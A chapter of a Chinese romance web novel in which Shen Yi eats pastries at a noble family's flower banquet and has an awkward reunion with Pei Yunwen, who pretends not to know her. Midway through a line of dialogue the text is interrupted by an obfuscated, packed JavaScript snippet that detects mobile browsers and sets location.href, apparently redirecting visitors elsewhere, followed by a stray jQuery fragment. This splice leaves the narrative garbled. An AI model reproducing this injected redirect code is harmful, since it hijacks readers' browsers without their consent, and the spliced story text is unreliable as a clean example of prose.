“咚咚咚”
一阵敲门声传来,沈意拉开门,看见来人,笑着道:“蓉蓉姐今日好漂亮,我都差点没认出来。”
她和汪蓉蓉约了今日一起去王姑娘的赏花宴。
汪蓉蓉穿了件红色的缎面裙子,插了一根金累丝蝴蝶簪,更是描了红画了胭脂,与平时的样子完全不同。
汪蓉蓉用手扯了扯裙摆,“还成吗?这是我成亲时做的衣裳,料子是好料子,样子是老样子了。”
沈意认真看了看,道:“这套样子简单,什么时候都有这种,不过时,蓉蓉姐穿这个颜色显年轻,真的挺好的。”
汪蓉蓉走进院子,“你说行就成,你审美一直比我好,也没参加过贵人的赏花宴,咱俩一起心里还踏实点,咦,你怎么还不换衣裳?”
“我就这么去。”沈意道。
“哪有穿棉布衣服去的,别人都绫罗绸缎,坐一起,你这是怕自己不够显眼。”
沈意真没往这茬想,“我倒没有那个意思,关键是天天穿牙行的衣裳,也没有别的。”
汪蓉蓉抬头看太阳,估算了一下时间道:“还来得及,咱们牙行那条街就有一家成衣铺,离得也不远,来回也就一盏茶的时间,你要不要去买?”
沈意其实就准备去吃些没见过的吃食,忘了考虑参加的都是名门贵女,自己这样确实低调不了,听从汪蓉蓉的话,两人去成衣铺买了件白绫子裙。
两人雇了马车,拿着请柬去往石府。
在门口下了马车,递了请柬,就有小厮引路,跟着小厮走到月亮门,再往里就是后花园,在此换成丫鬟引路,大户人家确实讲究。
通往花园的路都是用青砖铺的,即使是雨雪天也不会弄脏鞋子,路的两边随处可见不同的花草,每一段景色都不同,花草有她认识的也有她不认识的,又走一段便能看见假山,亭子。
丫鬟将她俩引到其中的蔷薇亭,亭子里坐了几个人,两位夫人和三个少女,正在亭子的一侧坐着说话,桌子旁倒空着无人,见她俩走进来,打量一眼,接着说她们的,沈意丝毫不在意,大家互相不认识,本就不需要无谓的寒暄。
丫鬟介绍了桌上茶点,一共四样,豆沙兰花糕,鲜花藤萝饼,一锭雪茶酥和青梅蜜饯,另有两样饮品,西湖龙井和桂花露,赏花宴还需一会能开始,请她俩随意便离开了。
桌子前无人,沈意便坐下,准备尝尝,汪蓉蓉见她坐在桌子前,也跟着坐下,还是有点紧张,一直未言语。
沈意最喜欢豆沙糕,用手拿起一块,尝了一口,嗯,绵软可口,不是很甜,混合了兰花的味道,她倒是第一次吃兰花味道的豆沙糕,确实做得好吃,手工的就是比后世机器加工的更有食物本身的味道。
糕点做得不大,几口就吃完了,她又瞄上了一锭雪茶酥,好文艺的名字,听说是南方特产,她一个北方人就在视频里见过,还真未吃过,看外观色白如雪,有酥层,尝了一口,嗯,不愧是传承多年的吃食,味道甘凉,清淡,应该是加了薄荷,在这高温天气里正好可以解解暑气。
汪蓉蓉见沈意吃完一样又拿起一样,不由小声道:“都没有人吃,只你在吃。”
沈意不在意地道:“那有什么,糕点摆了就是让人吃的,不能别人不吃我就不吃,不吃来干什么呀,咱们又不需要像那些夫人姑娘一样端着,你尝尝这个一锭雪茶酥,加了薄荷,清凉解暑,叶桃不能来真是太可惜了。”
汪蓉蓉听了沈意的话,再看着做得很漂亮的糕点,也放开了,谁会在意她,拿起一块咬了一口,太好吃了,闺女一定也喜欢,“怪不得叶桃天天叨咕沈姨,有好吃的也想着她。”
“那你看看,叶桃也知道谁疼她。”
沈意倒了一杯桂花露,解解渴,不愧是赏花宴,吃食也都是花做的,有情趣。
临风亭
由石家少公子石韬作陪,邀了几位相交甚好的公子在此喝茶,齐同洲,裴允文也同在。
石家少公子刚成亲没多久,都好奇他的感受,话题自然与他成亲有关,齐同洲是话匣子搂不住,都要聊两句。
裴允文听着无聊,一边喝茶一边随意四处看景致,视线扫过不远处的一个亭子时,发现都是姑娘,赶忙收了目光,脑海中有什么一闪而过,似乎有一个熟悉的身影,神态,动作他都异常的熟悉,有些不敢相信,他再次看过去,去确认,亭子的桌子前坐了一个姑娘,这个角度他只能看见姑娘的侧脸,只这侧脸已能让他确认真是他想到的那个人。
她正在吃着糕点,即使隔得远,他也能想象到她的梨涡肯定随着她吃东西的动作,时而显露,时而消失,就像她说话时一样,梨涡清浅的露出,似带了笑意,他这样的君子是很少会盯着姑娘的脸看的,但不知怎么的此刻就记起了她的梨涡。
齐同洲聊了一会,想起裴允文半天没说过话了,转头看去,发现师弟正目不转睛地看着什么,脸上表情怔怔,手里的茶杯一直拿着也不知道放下。
他随之望过去,不远处有一凉亭,亭中有几位女眷,虽叫不出名字,但是大致见过,只有桌子前的两人未见过,一个梳着妇人髻,一个姑娘打扮,姑娘一身白绫子裙,头上未插任何首饰,只用发带,虽看不清面容,不知长相如何,但是能看出非常的白皙,千人难比,气质确是不错。
应该是她了,那个拒绝了师弟的姑娘,再回头看师弟,嗯,眼神已出卖了内心,这个姑娘一看就是相当有主见的,拒绝师弟肯定是深思熟虑的,师弟可能情路坎坷。
“师弟,”齐同洲低低叫了一声,见人没有反应,在桌子下踢了裴允文一脚。
“嗯?”裴允文有些迷茫地看向齐同洲。
齐同洲道:“允文,你要不要添茶水。”
裴允文将茶杯递过去。
齐同洲拿起茶壶,给他添了一杯,“是她,是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410158|167082||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是。”
“额?什么?”裴允文不解。
齐同洲低了声道:“别打马虎眼,眼睛恨不得都长姑娘身上去了。”
裴允文没想到一下就被师兄识破,些微有些尴尬,拿起茶盏,喝了一口掩饰道:“师兄说什么我听不懂,我刚刚发了一会呆。”
齐同洲看了他一眼,你就装吧,不知道谁回家会难受。
裴允文想自己有这么明显吗,连着喝了几口茶,根本听不进去在说的什么,眼睛不由自主地又瞟过去,糕点有那么好吃吗,一直吃,他也拿起一块豆沙兰花糕,吃了一口,是有些甜,不知不觉就吃完了一整块。
一个石府丫鬟过来找沈意,说有人找她,沈意诧异,她谁也不认识,谁会找她,难道是王姑娘,和汪蓉蓉交代了一番就跟着丫鬟走了。
齐同洲回来刚坐下,见一个小厮过来在裴允文耳边低语了几句,裴允文便起身离开了,心里把自己一顿夸,师弟你情路有所发展,都要感谢师兄我啊,千辛万苦帮你约了姑娘见面,要不你就等着回家蒙被子哭吧。
沈意跟着丫鬟七拐八拐,到了一个月亮门口,丫鬟便止了步,让她自己进去,她虽然有些疑惑,但想到可能是侯府的规矩,丫鬟也分等级的,遂自己进去了。
穿过挡在月亮门前的屏风,里面是一个小院子,院中有一棵高大的银杏树,而此刻树下的石桌那坐了一个男子,是一个她认识的人,裴允文,半年未见的人就这么意外的出现在她面前,他今日穿了件暮云灰浮光锦直缀,华丽的锦缎更衬其清冷俊朗,原来是他要见自己,沈意带了自己都不知道的亲切欢喜叫了一声“裴允文。”
裴允文被小厮带到这,说让他等着,他直觉不对,刚要起身走,就见月亮门前进来一个姑娘,他非常生气,又是这种手段。
只是让他错愕的是来的姑娘是沈意,她今日穿了件白绫子裙,他从没有见过她穿棉布以外的衣裳,这样的绫罗更衬出她的纯净。
他还没来得及思考,她怎么回来,沈意已经先开口叫了他的名字,在两个人那样的不欢而散后,她是怎么做到再见面还能如此自然,热情,仿佛什么都没发生似的。
他一直耿耿于怀,念念不忘半年,原来人家一点也不曾在意,他真是一个彻头彻尾的傻子,隐去情绪的波动,道:“姑娘是哪位?”
沈意刚要迈过去的脚步骤然停住,看向对面那双疏离陌生的眼睛,公子清冷。
原来,不是他要找她,她才想到丫鬟可能是叫错人了,似有一盆冷水浇下,淋湿了她的心,才半年,他却已经不记得她是谁。
她觉得好讽刺,想到自己所认为的有些暧昧,原真的是她的一腔情愿,自始至终裴允文对她都没有超出朋友的想法,甚至她和他之间都不算朋友,一句姑娘是哪位就已经点明了他们的关系,他是远不可及的清冷公子,她只是烟火人间的市井姑娘,注定是直线交叉而过。